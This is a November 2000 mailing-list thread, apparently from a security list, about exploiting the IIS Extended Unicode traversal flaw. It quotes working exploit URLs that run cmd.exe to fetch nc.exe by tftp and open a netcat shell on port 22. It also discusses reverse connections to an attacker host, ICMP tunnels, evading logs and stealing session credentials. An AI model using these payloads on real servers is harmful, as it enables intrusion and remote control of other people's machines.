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Re: dos commands via iis 4 (TFTP)-NETBIOS


From: booboo <booboo () 65535 COM>
Date: Fri, 17 Nov 2000 12:08:30 +0000

Final one on this I think. Since we have the Extended Unicode
Vulnerability already why not just modify iishack1.5 to create nc.exe
instead of eeyerulez.asp and then launch nc.exe directly there without
having to perform a buffer overlfow and crash the server.

BooBoo

On Wed, 15 Nov 2000, MadHat wrote:

booboo wrote:

Since you already have more or less root level access on the web server

You have nothing like root level access, you have what would be equiv.
to nobody access...  very limited overall.  You have access as
IUSER_<MACHINE> which is a member of the GUEST group, but with certain
exploits, you can get that user added to the local Administrators
group.  Then you have more or less root level access.

and since you have already copied cmd.exe to the wwwroot\msadc or \scripts
dir.. use echo with redirects to pipe(&APPEND) 256 bytes at a time of
nc.exe to a file in c:\temp... it would take much longer but it does not
rely on outward bound dataflows being allowed or having to stop and start
servers on ports that you need. If the Firewall is configured correctly
then you are not really gaining much by getting NC.exe on the server
anyway. Instead why not use this exploit to run netstat and use the

I personally would rather have a shell on the box to be able to do
things easily than to fight to get anything done through the web
interface.  Once you have the shell, you could easily set up port
redirectors to be able to do almost anything you want (after finding the
holes in the ACLs).  Port redirector on the inside and outside and then
you can use what ever protocol through the firewall on ports that are
allowed.

results for TCP prediction attacks. Or re-direct the focus of the attack
to the source of connections to the web server which is likely to be
easier.. i.e. get authentication credentials from the source or take over
the connection with the current SSL session string from the users
temporary internet files. By the By the port I would go for is 25 since
many sites will e-mail request confirmations to their customers... thus
you could try creating a user account with added exchange profile and get
the file to your account that way.

Like I have said, the port would just depend on the situation, each
situation will open opps for different ports.


The question I guess is why put nc.exe up there at all. It is not very
inconspicous and it is not going to gain you much more of a foothold than
you already have.

Like I said, I would rather have shell level access which make it easier
to do what ever it is I want to do.  Not having to worry about if I can
get a '=' to work in a URL :^).  And nc could be named anything,
anywhere on the drive...  so it is easy to hide.  The name and location
of nc is irrelevant.

Surely it would be better to enumerate the internal
network to find the host or hosts that contain the sensitive info.


I still think that would be easier with a shell, being able to do NULL
user connections I have found rather difficult though a browser with
UNICODE.

Why not try to traceroute or ping out from the web server. If ICMP is
allowed out why not try to get one of those ICMP tunnel clients up
there and do a reverse tunnel? Less conspicuos Non?!

All this is logged to the web server logs (all the UNICODE requests you
send), once in with a shell no one even knows you are there (other than
the entries you had to use to get the apps there and get them running),
leave as few clues as possible.  If I can get nc on the box (and no nc
is not the only choice) I can get a shell and do things much more
quietly than I can continuing through a web server.

I am not saying you can't do it without netcat, or that you are wrong.
I am mearly presenting my method that I have used for testing this
particular vuln.



Still no luck with the '=' sign.

Cheers,BooBoo.

On Wed, 15 Nov 2000, MadHat wrote:

"Bluefish (P.Magnusson)" wrote:

http://.../scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp+-i+<IPADDR>+get+nc.exe+c:\inetpub\scripts\nc.exe
http://.../scripts/..%c0%af../winnt/system32/cmd.exe?/c+c:\inetpub\scripts\nc.exe+-l+-p+22+-t+-e+cmd.exe
So after this, there is a port open (22 in this case as many admins will
leave this open for SSH, but this is an NT box, which as we know rarely
has SSH running on it) that I can telnet to and have a command prompt.

An more reliable attack though, would be to download and execute a client
which connects to www.attacker.com:80, only port 80 won't be running a
webserver but a server for the client.

That way it will overcome more firewalls; only an application level
firewall or a closed DMZ would cause problems, where as the attack you
describe rely on some server port not being firewalled.

right, but this is all about misconfiguration.  If nothing is
misconfigured, and all patches are up to date, then you don't even get
this far.  The point was that once nc.exe is on the box, you can pick
and choose the port(s) you want to bind to depending on the situation
and the ACLs or firewall rules.  I chose 22 because it is often open for
ssh, as I mentioned, but I could have chosen 25 is there wasn't an SMTP
server,  but that was not left open in the case I was testing.  This is
just one part of the overall penetration, you would have to know more
info about the target before you can choose how to continue and what
will be best for any particular situation.  I personally like netcat, so
I chose that tool.  It is all personal preference, what you know and
what you feel comfortable using.  There is no "final answer" here.

--
MadHat at unspecific.com
                                   "The 3 great virtues of a programmer:
                                      Laziness, Impatience, and Hubris."
                                                 --Larry Wall


--
MadHat at unspecific.com
                                   "The 3 great virtues of a programmer:
                                      Laziness, Impatience, and Hubris."
                                                 --Larry Wall



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